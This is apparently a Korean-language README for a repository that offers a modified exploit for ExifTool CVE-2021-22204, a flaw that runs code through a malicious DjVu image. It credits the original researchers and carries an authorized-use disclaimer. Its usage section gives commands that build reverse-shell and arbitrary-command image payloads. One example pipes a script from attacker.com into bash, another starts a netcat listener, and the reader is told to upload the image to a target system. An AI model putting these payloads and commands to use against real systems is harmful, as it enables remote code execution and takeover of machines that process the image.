
ExifTool RCE 익스플로잇 (CVE-2021-22204) - 개선된 버전, exiftool 의존성 없음
CVE-2021-22204에 대한 개선된 개념 증명(PoC)입니다. 이 취약점은 ExifTool 7.44~12.23 버전에 존재하며, 악성 DjVu 파일을 처리할 때 임의 코드 실행을 허용합니다.
본 자료는 파생 작업입니다. 취약점과 원본 익스플로잇은 제가 만든 것이 아닙니다.
| 역할 | 작성자 |
|---|---|
| 취약점 발견자 | William Bowling (@wcbowling), GitLab 버그 바운티 프로그램을 통해 보고 — 2021년 4월 |
| 원본 PoC 작성자 | UNICORD (NicPWNs & Dev-Yeoj) |
| 본 저장소 수정자 | d4ytox |
ExifTool 7.44~12.23 버전의 DjVu 파일 형식에서 사용자 데이터의 부적절한 중화로 인해 악성 이미지를 파싱할 때 임의 코드 실행이 가능합니다. 이 익스플로잇은 취약한 ExifTool 버전이 처리할 경우 공격자가 제어하는 코드를 실행하는 악성 이미지 파일을 생성합니다.
UNICORDev/exploit-CVE-2021-22204를 기반으로 개선:
exiftool -config를 사용하지만, 자신의 ExifTool이 패치된 경우(v12.24+) 실패합니다. 이 버전은 djvumake만 사용하여 순수 DjVu 페이로드를 생성합니다.\c 이스케이프 시퀀스 경고 수정)djvulibre-bin 패키지만 필요이것은 기존 익스플로잇에 대한 엔지니어링 변경입니다. 취약점 연구는 포함되지 않습니다.
sudo apt install djvulibre-bin
리버스 셸:
python3 exploit.py -s <LHOST> <LPORT>
사용자 정의 명령:
python3 exploit.py -c "id > /tmp/pwned"
예시:
# 리버스 셸 페이로드 생성
python3 exploit.py -s 192.168.1.100 4444
# 명령 실행 페이로드 생성
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# 리스너 시작 및 콜백 대기
nc -nlvp 4444
이 익스플로잇은 image.jpg를 생성합니다 - ExifTool이 처리할 대상 시스템에 이 파일을 업로드하세요.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
저자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다. 본인이 소유하거나 명시적인 서면 승인을 받은 시스템에만 이 익스플로잇을 사용하십시오.
컴퓨터 시스템에 대한 무단 접근은 불법이며 법적 처벌을 받을 수 있습니다. 책임감 있게 사용하십시오.
MIT 라이선스는 이 저장소의 수정 사항에만 적용됩니다. 업스트림 PoC에는 라이선스가 없으므로 작성자에게 모든 권리가 유보됩니다. 전체 저작자 표시 고지는 LICENSE를 참조하십시오.